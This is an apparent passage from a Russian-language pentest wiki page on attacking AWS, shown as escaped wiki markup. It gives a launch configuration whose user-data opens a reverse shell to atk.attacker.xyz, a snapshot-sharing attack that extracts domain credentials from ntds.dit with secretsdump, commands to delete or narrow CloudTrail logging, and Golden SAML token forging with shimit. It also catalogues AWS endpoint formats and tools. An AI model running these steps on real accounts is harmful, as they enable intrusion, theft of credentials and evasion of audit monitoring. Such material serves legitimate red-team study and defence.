&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws autoscaling create-launch-configuration --launch-configuration-name demo3-LC --image-id ami-0f90b6b11936e1083 --instance-type t1.micro --iam-instance-profile demo-EC2Admin --metadata-options &amp;quot;HttpEndpoint=enabled,HttpTokens=optional&amp;quot; --associate-public-ip-address --user-data=file://reverse-shell.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Пример содержимого reverse-shell.sh:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
/bin/bash -l &amp;gt; /dev/tcp/atk.attacker.xyz/443 0&amp;lt;&amp;amp;1 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Создаем и запускаем группу масштабируемости ====&lt;br /&gt;
&lt;br /&gt;
Привилегия ec2:DescribeSubnets нужна для выбора нужной сети (чтобы EC2 смог сделать reverse-соедиенение к нам).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws autoscaling create-auto-scaling-group --auto-scaling-group-name demo3-ASG --launch-configuration-name demo3-LC --min-size 1 --max-size 1 --vpc-zone-identifier &amp;quot;subnet-aaaabbb&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее тут https://notdodo.medium.com/aws-ec2-auto-scaling-privilege-escalation-d518f8e7f91b&lt;br /&gt;
&lt;br /&gt;
== AD (Directory Service) ==&lt;br /&gt;
&lt;br /&gt;
Второе название - AWS Managed Microsoft Active Directory. Позволяет использовать Active Directory в AWS.&lt;br /&gt;
&lt;br /&gt;
Основные понятия:&lt;br /&gt;
&lt;br /&gt;
* EC2-Instance - VPS на которых крутится весь Active Directory&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== EC2:CreateSnapshot + EC2:RunInstance -&amp;gt; ShadowCopy ====&lt;br /&gt;
&lt;br /&gt;
Позволяет провести атаку ShadowCopy на доменный контроллер и считать учетные данные всех пользователей.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Последовательность атаки:&lt;br /&gt;
&lt;br /&gt;
1. Получаем список инстансов&lt;br /&gt;
&lt;br /&gt;
2. Создаем Snapshot выбранного сервера&lt;br /&gt;
&lt;br /&gt;
3. Редактируем атрибуты у SnapShot для доступа с аккаунта атакующего. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 modify-snapshot-attribute --snapshot-id snap-1234567890abcdef0 --attribute createVolumePermission  --operation-type remove --user-ids 123456789012&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Переключаемся на аккаунт атакующего&lt;br /&gt;
&lt;br /&gt;
5. Создаем новый Linux EC2-инстанс, к которому будет прикреплен SnapShot&lt;br /&gt;
&lt;br /&gt;
6. Подключаемся по SSH и получаем данные из SnapShot&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
sudo -s&lt;br /&gt;
mkdir /tmp/windows&lt;br /&gt;
mount /dev/xvdf1 /tmp/windows/&lt;br /&gt;
cd  /tmp/windows/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
7. Работаем с данными на примонтированном диске, который будет в /tmp/windows/. Пример команд для извлечения ntds.dit:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
cp /windows/Windows/NTDS/ntds.dit /home/ec2-user&lt;br /&gt;
cp /windows/Windows/System32/config/SYSTEM /home/ec2-user&lt;br /&gt;
chown ec2-user:ec2-user /home/ec2-user/*&lt;br /&gt;
# Sftp - скачиваем файлы:&lt;br /&gt;
/home/ec2-user/SYSTEM&lt;br /&gt;
/home/ec2-user/ntds.dit&lt;br /&gt;
# Получаем учетные данные, используя Impacket-secretsdump&lt;br /&gt;
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local -outputfile secrets&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudTrail ==&lt;br /&gt;
&lt;br /&gt;
Сервис для аудита событий в AWS-аккаунте (включен в каждом аккаунте по-умолчанию). Сервис позволяет вести журналы, осуществлять непрерывный мониторинг и сохранять информацию об истории аккаунта в пределах всей используемой инфраструктуры AWS.&lt;br /&gt;
&lt;br /&gt;
Записывает:&lt;br /&gt;
&lt;br /&gt;
* API-вызовы&lt;br /&gt;
&lt;br /&gt;
* Логины в систему&lt;br /&gt;
&lt;br /&gt;
* События сервисов&lt;br /&gt;
&lt;br /&gt;
* ???&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важен при операциях RedTeam.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Название файла логов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
AccountID_CloudTrail_RegionName_YYYYMMDDTHHmmZ_UniqueString.FileNameFormat&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
S3 путь до логов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
BucketName/prefix/AWSLogs/AccountID/CloudTrail/RegionName/YYYY/MM/DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Путь у CloudTrail-Digest файлов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
s3://s3-bucket-name/optional-prefix/AWSLogs/aws-account-id/CloudTrail-Digest/region/digest-end-year/digest-end-month/digest-end-data/aws-account-id_CloudTrail-Digest_region_trail-name_region_digest_end_timestamp.json.gz&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Основные поля у событий:&lt;br /&gt;
&lt;br /&gt;
* eventName - имя API-endpoint&lt;br /&gt;
&lt;br /&gt;
* eventSource - вызванный сервис&lt;br /&gt;
&lt;br /&gt;
* eventTime - время события&lt;br /&gt;
&lt;br /&gt;
* SourceIPAddress - ip-адрес источника&lt;br /&gt;
&lt;br /&gt;
* userAgent - метод запроса&lt;br /&gt;
** &amp;quot;signing.amazonaws.com&amp;quot; - запрос от AWS Management Console&lt;br /&gt;
** &amp;quot;console.amazonaws.com&amp;quot; - запрос от root-пользователя аккаунта&lt;br /&gt;
** &amp;quot;lambda.amazonaws.com&amp;quot; - запрос от AWS Lambda&lt;br /&gt;
&lt;br /&gt;
* requestParameters - параметры запроса&lt;br /&gt;
&lt;br /&gt;
* responseElements - элементы ответа.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Временные параметры:&lt;br /&gt;
&lt;br /&gt;
* 5 минут - сохраняется новый лог-файл&lt;br /&gt;
&lt;br /&gt;
* 15 минут - сохраняется в S3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важно! Сохраняется чексумма файлов, поэтому пользователи могут удостовериться что логи не менялись.&lt;br /&gt;
Также логи могут уходить напрямую в CloudWatch - администраторам может прилететь уведомление об ИБ-инцидентах. Или события могут быть проанализированы внутренним модулем CloudTrail - Insights на предмет необычной активности.&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== cloudtrail:DeleteTrail ====&lt;br /&gt;
&lt;br /&gt;
Позволяет отключить мониторинг:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== cloudtrail:UpdateTrail ====&lt;br /&gt;
&lt;br /&gt;
Права на редактирование правил монитринга.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Отключить мониторинг глобальных сервисов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Отключить мониторинг на конкретные регионы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event --no-is-multi-region --region=eu-west&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== validate-logs ====&lt;br /&gt;
&lt;br /&gt;
Проверить, были ли изменены логи.&lt;br /&gt;
&lt;br /&gt;
aws cloudtrail validate-logs --trail-arn &amp;lt;trailARN&amp;gt; --start-time &amp;lt;start-time&amp;gt; [--end-time &amp;lt;end-time&amp;gt;] [--s3-bucket &amp;lt;bucket-name&amp;gt;] [--s3-prefix &amp;lt;prefix&amp;gt;] [--verbose]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
==== Обход правила по UserAgent ====&lt;br /&gt;
&lt;br /&gt;
На сервисе есть правило, по которому определяет, что запросы были сделаны с kali/parrot/pentoo используя awscli.&lt;br /&gt;
&lt;br /&gt;
Для этого можно воспользоваться утилитой pacu, которая автоматически подменяет useragent. Использование утилиты в конце статьи.&lt;br /&gt;
&lt;br /&gt;
== DynamoDB ==&lt;br /&gt;
&lt;br /&gt;
Cистема управления базами данных класса NoSQL в формате «ключ — значение».&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== dynamodb:ListTables ====&lt;br /&gt;
&lt;br /&gt;
Позволяет посмотреть спрсок таблиц базы данных.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws --endpoint-url http://s3.bucket.htb dynamodb list-tables        &lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;TableNames&amp;quot;: [&lt;br /&gt;
        &amp;quot;users&amp;quot;&lt;br /&gt;
    ]&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== dynamodb:Scan ====&lt;br /&gt;
&lt;br /&gt;
Получение обьектов из базы данных:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users | jq -r '.Items[]'&lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;password&amp;quot;: {&lt;br /&gt;
    &amp;quot;S&amp;quot;: &amp;quot;Management@#1@#&amp;quot;&lt;br /&gt;
  },&lt;br /&gt;
  &amp;quot;username&amp;quot;: {&lt;br /&gt;
    &amp;quot;S&amp;quot;: &amp;quot;Mgmt&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ES (ElasticSearch) ==&lt;br /&gt;
&lt;br /&gt;
ElasticSearch от AWS. Используется для просмотра логов/журналов, поиска на вебсайте и тд.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{user_provided}-{random_id}.{region}.es.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ELB (Elastic Load Balancing) ==&lt;br /&gt;
&lt;br /&gt;
Балансировщик нагрузки.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки (elb_v1):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Формат ссылки (elb_v2):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{user_provided}-{random_id}.{region}.elb.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== RDS (Relational Database Service) ==&lt;br /&gt;
&lt;br /&gt;
Облачная реляционная база данных (на выбор).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306&lt;br /&gt;
postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Route 53 ==&lt;br /&gt;
&lt;br /&gt;
Настраиваемая служба DNS.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{user_provided}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== API Gateway ==&lt;br /&gt;
&lt;br /&gt;
API-сервис, который будет доступен почти со всех серверов.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{restapi_id}.execute-api.{region}.amazonaws.com/{stage_name}/&lt;br /&gt;
https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudSearch ==&lt;br /&gt;
&lt;br /&gt;
Альтернатива сервису ElasticSearch. Система для упрощения поиска для администрирования и, например, на вебсайте.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://doc-{user_provided}-{random_id}.{region}.cloudsearch.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Transfer Family  ==&lt;br /&gt;
&lt;br /&gt;
Группа сервисов для передачи файлов (S3/EFS) по (SFTP, FTPS, FTP).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
sftp://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
ftps://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
ftp://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== IoT (Internet Of Things) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для управления IoT-устройствами.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
mqtt://{random_id}.iot.{region}.amazonaws.com:8883&lt;br /&gt;
https://{random_id}.iot.{region}.amazonaws.com:8443&lt;br /&gt;
https://{random_id}.iot.{region}.amazonaws.com:443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MQ ==&lt;br /&gt;
&lt;br /&gt;
Сервис брокера сообщений для Apache ActiveMQ &amp;amp; RabbitMQ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162&lt;br /&gt;
ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSK (Managed Streaming for Apache Kafka) ==&lt;br /&gt;
&lt;br /&gt;
Сервис потоковой передачи данных в Apache Kafka.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com&lt;br /&gt;
{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Cloud9 ==&lt;br /&gt;
&lt;br /&gt;
Облачная интегрированная среда разработки(IDE) используя только браузер.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.vfs.cloud9.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== MediaStore ==&lt;br /&gt;
&lt;br /&gt;
Cервис хранилища AWS, оптимизированный для мультимедийных материалов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.data.mediastore.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Kinesis Video Streams ==&lt;br /&gt;
&lt;br /&gt;
Обеспечивает простую и безопасную потоковую передачу видео с подключенных устройств в AWS для воспроизведения, аналитики, машинного обучения (ML) и других видов обработки.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.kinesisvideo.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Elemental MediaConvert ==&lt;br /&gt;
&lt;br /&gt;
Сервис перекодирования видеофайлов с возможностями на уровне вещательных компаний. Он позволяет просто создавать контент в формате «видео по требованию» (VOD) для трансляций, в том числе мультиэкранных, в любом масштабе.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.mediaconvert.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Elemental MediaPackage ==&lt;br /&gt;
&lt;br /&gt;
Cервис для подготовки и защиты видеоконтента, распространяемого через Интернет. AWS Elemental MediaPackage использует один источник видео и создает на его основе специализированные видеопотоки для воспроизведения на подключенных телевизорах, мобильных телефонах, компьютерах, планшетах и игровых консолях.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== ECR (Elastic Container Registry) ==&lt;br /&gt;
&lt;br /&gt;
Региональный сервис, предназначенный для обеспечения гибкого развертывания образов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== ecr:ListImages ====&lt;br /&gt;
&lt;br /&gt;
Получить список образов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ecr list-images --repository-name &amp;lt;ECR_name&amp;gt; --registry-id &amp;lt;UserID&amp;gt; --region &amp;lt;region&amp;gt; --profile &amp;lt;profile_name&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ecr:GetDownloadUrlForLayer ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить URL на скачивание образа.&lt;br /&gt;
&lt;br /&gt;
==== ecr:GetDownloadUrlForLayer + ecr:BatchGetImage + ecr:GetAuthorizationToken ====&lt;br /&gt;
&lt;br /&gt;
Позволяет скачать образ (мб потребуется и ecr:ListImages чтобы получить список образов):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ecr get-login&lt;br /&gt;
docker pull &amp;lt;UserID&amp;gt;.dkr.ecr.us-east-1.amazonaws.com/&amp;lt;ECRName&amp;gt;:latest&lt;br /&gt;
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Утилиты =&lt;br /&gt;
&lt;br /&gt;
== Вычисление ролей ==&lt;br /&gt;
&lt;br /&gt;
=== enumerate-iam ===&lt;br /&gt;
github.com:andresriancho/enumerate-iam.git&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Эксплуатация ==&lt;br /&gt;
&lt;br /&gt;
=== Golden SAML ===&lt;br /&gt;
&lt;br /&gt;
Суть атаки в том, что зная ключ, которым подписываются SAML-запросы, вы можете подделать ответ и получить произвольные привилегии в SSO.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее про эксплуатацию тут: https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps&lt;br /&gt;
&lt;br /&gt;
==== shimit ====&lt;br /&gt;
https://github.com/cyberark/shimit&lt;br /&gt;
&lt;br /&gt;
Установка:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
cd /tmp&lt;br /&gt;
python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml&lt;br /&gt;
git clone https://github.com/cyberark/shimit&lt;br /&gt;
cd shmit&lt;br /&gt;
python shmit.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
В начале потребуется доступ к AD FS аккаунту из персонального хранилища которого украсть приватный ключ ключ.&lt;br /&gt;
Сделать это можно используя mimikatz, но в примере сделано через библиотеку Microsoft.Adfs.Powershell и powershell&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Пример эксплуатации:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем приватный ключ&lt;br /&gt;
[System.Convert]::ToBase64String($cer.rawdata)&lt;br /&gt;
(Get-ADFSProperties).Identifier.AbsoluteUri&lt;br /&gt;
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule&lt;br /&gt;
&lt;br /&gt;
# Получаем инфу о юзерах - выбираем цель&lt;br /&gt;
aws iam list-users&lt;br /&gt;
&lt;br /&gt;
# Получаем токен&lt;br /&gt;
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file&lt;br /&gt;
-u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012&lt;br /&gt;
&lt;br /&gt;
# Проверяем текущий аккаунт&lt;br /&gt;
aws opsworks describe-my-user-profile&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Проверки безопасности ==&lt;br /&gt;
&lt;br /&gt;
Для администраторов преимущественно.&lt;br /&gt;
&lt;br /&gt;
=== Zeus ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/DenizParlak/Zeus&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Другое ==&lt;br /&gt;
&lt;br /&gt;
=== aws_consoler ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/NetSPI/aws_consoler&lt;br /&gt;
&lt;br /&gt;
== All-In-One ==&lt;br /&gt;
&lt;br /&gt;
=== pacu ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/RhinoSecurityLabs/pacu&lt;br /&gt;
&lt;br /&gt;
